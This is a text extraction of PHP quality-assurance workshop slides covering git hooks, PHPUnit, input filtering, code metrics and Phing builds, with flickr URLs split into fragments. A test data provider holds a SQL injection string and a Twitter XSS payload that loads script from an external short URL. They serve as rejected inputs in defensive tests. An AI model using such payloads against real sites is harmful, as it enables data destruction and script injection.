qa for php projects
TRANSCRIPT
Requirements
• VirtualBox http://virtualbox.com
• Vagrant https://vagrantup.com
• Copy of https://github.com/in2it/phpqa-workshop
• Copy of https://github.com/in2it/phpqa-testing
Michelangelo van Dam!!
PHP Consultant Community Leader
President of PHPBenelux Contributor to PHP projects
!T @DragonBe | F DragonBe
http
s://w
ww.
flick
r.com
/pho
tos/
akra
bat/8
7843
1881
3
Using Social Media?Tag it #phpqa
http
://w
ww.
flick
r.com
/pho
tos/
andy
ofne
/463
3356
197
http
://w
ww.
flick
r.com
/pho
tos/
andy
ofne
/463
3356
197
What is QA?
http
s://w
ww.
flick
r.com
/pho
tos/
infid
elic
/430
6205
887
Detect bugs early
http
s://w
ww.
flick
r.com
/pho
tos/
goin
gslo
/452
3034
319
Observe behaviour
http
s://w
ww.
flick
r.com
/pho
tos/
yuan
2003
/181
2881
370
Prevent mistakes
http
s://w
ww.
flick
r.com
/pho
tos/
robe
rtely
ov/5
1598
0117
0
Track progress
http
s://w
ww.
flick
r.com
/pho
tos/
ding
atx/
4115
8440
00
Important QA tools
http
s://w
ww.
flick
r.com
/pho
tos/
floria
nric
/726
3382
550
Version Control
http
s://w
ww.
flick
r.com
/pho
tos/
mrm
yle/
2327
6860
10
Advantages of SCM
• Team development
• Multi-versions management
• Keep track of history
• Tagging milestones
• Backup of source code
• Full integration http
s://w
ww.
flick
r.com
/pho
tos/
skoo
p/53
9723
2723
Exercise
• Start a new project “phpqa-intro”
• Initialise it as a GIT project
• Create a “hello world” php script
• Add it to the repository & commit
Possible answer
$ cd workspace$ mkdir phpqa-intro$ cd phpqa-intro$ git init$(master #) echo "<?php echo 'Hello World'; . PHP_EOL" > helloworld.php$(master #) git add helloworld.php$(master #) git commit -m 'Initial version of helloworld'[master (root-commit) 174c675] Initial commit of helloworld 1 file changed, 1 insertion(+) create mode 100644 helloworld.php$(master)
Syntax Checking
http
s://w
ww.
flick
r.com
/pho
tos/
roor
eyno
lds/
4133
5498
89
Exercise• Download the pre-commit hook from http://in2.se/
phplintgit (or get it from the USB drive)
• Make sure you make it executable
• Create a syntax error in error.php and commit it
• See you get the error and ensure the file is not committed.
Possible answer$(master) git checkout -b phplint$(phplint) wget -O .git/hooks/pre-commit http://in2.se/phplintgit$(phplint) chmod ugo+x .git/hooks/pre-commit$(phplint) echo "<?php echo 'Hello error' . PHP_EOL" > error.php$(phplint) git add error.php$(phplint +) git commit -m 'Trying to add code with errors'Syntax errors found in file: error.php!Found PHP parse errors:PHP Parse error: parse error, expecting `','' or `';'' in /Users/dragonbe/workspace/phpqa-intro/error.php on line 2 Parse error: parse error, expecting `','' or `';'' in /Users/dragonbe/workspace/phpqa-intro/error.php on line 2!PHP parse errors found. Fix errors and commit again.$(phplint +)
Documentation
http
s://w
ww.
flick
r.com
/pho
tos/
jank
unst
/647
8327
983
Why providing docblocks?
• Useful information about the class, method or logic
• Provides hints in IDE’s
• Great reference for
• New team members
• 3rd party developers http
s://w
ww.
flick
r.com
/pho
tos/
mun
doo/
2293
4934
20
PHAR://
http://phpdoc.org/phpDocumentor.pharOther installations: Composer, PEAR, Source
Exercise
• Create a class with a couple of methods (or use the class in “exercise/MyClass.php”)
• Run phpdoc against this class
./vendor/bin/phpdoc -‐d exercise/phpdoc -‐t build/phpdoc
• See the resulting documentation files at http://192.168.166.166/phpdoc
Testing
http
s://w
ww.
flick
r.com
/pho
tos/
akra
bat/8
4215
6017
8
Most common excuses why developers don’t test
• no time
• no budget
• deliver tests after finish project (never)
• devs don’t know how
http
s://w
ww.
flick
r.com
/pho
tos/
dasp
rid/8
1479
8630
7
No excuses!
http
s://w
ww.
flick
r.com
/pho
tos/
akra
bat/8
4215
6017
8
Let’s get started
http
s://w
ww.
flick
r.com
/pho
tos/
florid
amem
ory/
3295
4061
93
PHPUnit & Composer
{ "require": { "php": "<=5.5.0" }, "require-‐dev": { "phpunit/phpunit": "~4.4" }, }
phpunit.xml
<?xml version="1.0" encoding="UTF-‐8"?> !<phpunit bootstrap="./vendor/autoload.php" colors="true" strict="true" stopOnError="true" stopOnFailure="true"> ! <testsuite name="PHPQA Workshop TestSuite"> <directory>./tests</directory> </testsuite> !</phpunit>
Testing models
http
s://w
ww.
flick
r.com
/pho
tos/
fdec
omite
/271
0132
377
CommentTest<?php namespace Phpqa\Tests\Model; !use Phpqa\Model\Comment; !class CommentTest extends \PHPUnit_Framework_TestCase { public function testModelIsPopulatedAtConstruct() { $data = [ 'commentId' => 1, 'fullName' => 'Johny Test', 'emailAddress' => '[email protected]', 'website' => 'http://johnytest.com', 'comment' => 'This is a comment', ]; ! $comment = new Comment($data); $this-‐>assertSame($data['commentId'], $comment-‐>getCommentId()); $this-‐>assertSame($data['fullName'], $comment-‐>getFullName()); $this-‐>assertSame($data['emailAddress'], $comment-‐>getEmailAddress()); $this-‐>assertSame($data['website'], $comment-‐>getWebsite()); $this-‐>assertSame($data['comment'], $comment-‐>getComment()); } }
Exercise
• Test Comment class that you can convert it directly into an array
• BONUS: Also test you can convert it into JSON
Testing Databases
http
s://w
ww.
flick
r.com
/pho
tos/
shin
dotv
/383
5365
695
A few remarks• Testing against databases is “integration testing”
• Testing against databases is slow
• Testing against databases is only useful for
• triggers & stored procedures
• correct encoding and collations
Generated data /** * Provides data that we consider to be safe and of quality * @return array */ public function goodDataProvider() { $faker = \Faker\Factory::create(); $data = []; for ($iter = 0; $iter < 500; $iter++) { $data[] = [ 'commentId' => rand(1, time()), 'fullName' => $faker-‐>name, 'emailAddress' => $faker-‐>email, 'website' => $faker-‐>url, 'comment' => $faker-‐>text(), ]; } return $data; }
Modify our test
/** * @dataProvider goodDataProvider */ public function testModelIsPopulatedAtConstruct($data) { $comment = new Comment($data); $this-‐>assertSame($data['commentId'], $comment-‐>getCommentId()); $this-‐>assertSame($data['fullName'], $comment-‐>getFullName()); $this-‐>assertSame($data['emailAddress'], $comment-‐>getEmailAddress()); $this-‐>assertSame($data['website'], $comment-‐>getWebsite()); $this-‐>assertSame($data['comment'], $comment-‐>getComment()); }
http
s://w
ww.
flick
r.com
/pho
tos/
bolto
fblu
e/57
2493
4828
OWASP Top 10https://www.owasp.org/index.php/Top_10_2013-Top_10
Bad Data provider
http
://en
.wik
iped
ia.o
rg/w
iki/C
ompu
ter_
viru
s
First modify our class<?php namespace Phpqa\Model; !use \Zend\InputFilter\InputFilter; use \Zend\InputFilter\Input; use \Zend\Filter; use \Zend\Validator; !class Comment { /** * @var InputFilter */ protected $inputFilter; /** * @return InputFilter */ public function getInputFilter() { // Lazy loading of filter and validation rules if (null === $this-‐>inputFilter) { } return $this-‐>inputFilter; }
Filter/Validate
$commentId = new Input('commentId'); $commentId-‐>getFilterChain() -‐>attach(new Filter\Int()); $commentId-‐>getValidatorChain() -‐>attach(new Validator\GreaterThan(['min' => 0])); ! $fullName = new Input('fullName'); $fullName-‐>getFilterChain() -‐>attach(new Filter\StringTrim()) -‐>attach(new Filter\StripTags()) -‐>attach(new Filter\HtmlEntities()); $fullName-‐>getValidatorChain() -‐>attach(new Validator\NotEmpty()) -‐>attach(new Validator\StringLength(['min' => 5, 'max' => 150]));
Filter/Validate (2) $emailAddress = new Input('emailAddress'); $emailAddress-‐>getFilterChain() -‐>attach(new Filter\StringToLower()); $emailAddress-‐>getValidatorChain() -‐>attach(new Validator\NotEmpty()) -‐>attach(new Validator\EmailAddress()); ! $website = new Input('website'); $website-‐>getFilterChain() -‐>attach(new Filter\StringToLower()); $website-‐>getValidatorChain() -‐>attach(new Validator\Uri()); ! $comment = new Input('comment'); $comment-‐>getFilterChain() -‐>attach(new Filter\StripTags()) -‐>attach(new Filter\HtmlEntities());
InputFilter
$inputFilter = new InputFilter(); $inputFilter-‐>add($commentId) -‐>add($fullName) -‐>add($emailAddress) -‐>add($website) -‐>add($comment); ! $this-‐>setInputFilter($inputFilter);
badDataProvider /** * Provides data that we consider to be unsafe * @return array */ public function badDataProvider() { return [ [ [ 'commentId' => 0, 'fullName' => '', 'emailAddress' => '', 'website' => '', 'comment' => '', ] ],[ [ 'commentId' => 'Little Bobby Tables', 'fullName' => 'Robert\'); DROP TABLE `students`; -‐-‐', 'emailAddress' => 'clickjack@hackers', 'website' => "http://t.co/@\"style=\"font-‐size:999999999999px;\"onmouseover=\"$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')\"/", 'comment' => 'exploit twitter 9/21/2010', ] ], ]; }
our bad data test
/** * @dataProvider badDataProvider */ public function testCommentIsProtectedAgainstHacks($data) { $comment = new Comment(); $comment-‐>getInputFilter()-‐>setData($data); $this-‐>assertFalse($comment-‐>getInputFilter()-‐>isValid()); }
Exercise
• Add some more “badData” entries
• See if the validation rules hold
• Test one of the latest exploits
Measuring
http
s://w
ww.
flick
r.com
/pho
tos/
bate
ga/2
0569
4926
4
• CYCLO: Cyclomatic Complexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH: Average Hierarchy Height • ANDC: Average Number of Derived Classes • FANOUT: Number of Called Classes • CALLS: Number of Operation Calls
pDepend info
• metric calculation • execution paths • independent control structures • if, else, for, foreach, switch case, while, do, … • within a single method or function • more info
http://en.wikipedia.org/wiki/Cyclomatic_complexity
Cyclomatic Complexity
• The average of the maximum length from a root class to its deepest subclass
Average Hierarchy Height
Pyramid Inheritance
few classes derived from other classes
lots of classes inherit from other classes
Inheritance
PHP Mess Detection
http
s://w
ww.
flick
r.com
/pho
tos/
avlx
yz/2
1451
1214
9
What?• detects code smells
• possible bugs
• sub-optimal code
• over complicated expressions
• unused parameters, methods and properties
• wrongly named parameters, methods or properties
Example output./vendor/bin/phpmd exercise/ html
cleancode,codesize,controversial,design,naming,unusedcode --reportfile ./build/logs/phpmd.html
Copy/Paste Detection
http
s://w
ww.
flick
r.com
/pho
tos/
kale
xand
erso
n/61
1324
7118
What?• detects similar code snippets
• plain copy/paste work • similar code routines
• indicates problems • maintenance hell • downward spiral of disasters
• stimulates improvements • refactoring of code • moving similar code snippets in common routines
PHP_CodeSniffer
http
s://w
ww.
flick
r.com
/pho
tos/
crea
te_u
p/34
7519
5695
What?• validates coding standards
• consistency • readability
• set as a policy for development • reports failures to meet the standard • sometimes good: parentheses on wrong line • mostly bad: line exceeds 80 characters • but needed for terminal viewing of code
• can be set as pre-commit hook • but can cause frustration!!!
Exercise
• Run the following commands against “MyClass” • pdepend • phpmd • phpcpd • phpcs (php_CodeSniffer)
• What is the result?
Automation
http
s://w
ww.
flick
r.com
/pho
tos/
freef
oto/
5982
5499
38
build.xml<?xml version="1.0" encoding="UTF-‐8"?> <project name="PHPQA Workshop" default="build"> <fileset dir="${project.basedir}" id="files"> <include name="${project.basedir}/exercise/**"/> </fileset> <target name="php-‐lint" description="Run syntax checking on the codebase"> <phplint> <fileset refid="files"/> </phplint> </target> <target name="php-‐doc" description="Generate automated documentation"> <exec command="./vendor/bin/phpdoc run -‐d exercise/ -‐t build/phpdoc/" dir="${project.basedir}"/> </target> <!-‐-‐ ... -‐-‐> <target name="build" description="The build process"> <phingcall target="php-‐lint"/> <phingcall target="php-‐doc"/> <phingcall target="php-‐depend"/> <phingcall target="php-‐md"/> <phingcall target="php-‐cpd"/> <phingcall target="php-‐cs"/> </target> </project>
Benefits
• Everyone executes the processes the same
• Including automated CI tools
• Once a new “target” is defined, it’s available
There’s more with phing• auto upgrade databases
• warming up caches
• deploy over multiple nodes
• collect statistics
• perform benchmark/performance tests
• …
http
s://w
ww.
flick
r.com
/pho
tos/
lwr/1
3442
5422
35
Contact us
in it2PROFESSIONAL PHP SERVICES
Michelangelo van Dam [email protected] !www.in2it.be
PHP Consulting - Training - QA
Thank youHave a great conference
http
://w
ww.
flick
r.com
/pho
tos/
drew
m/3
1918
7251
5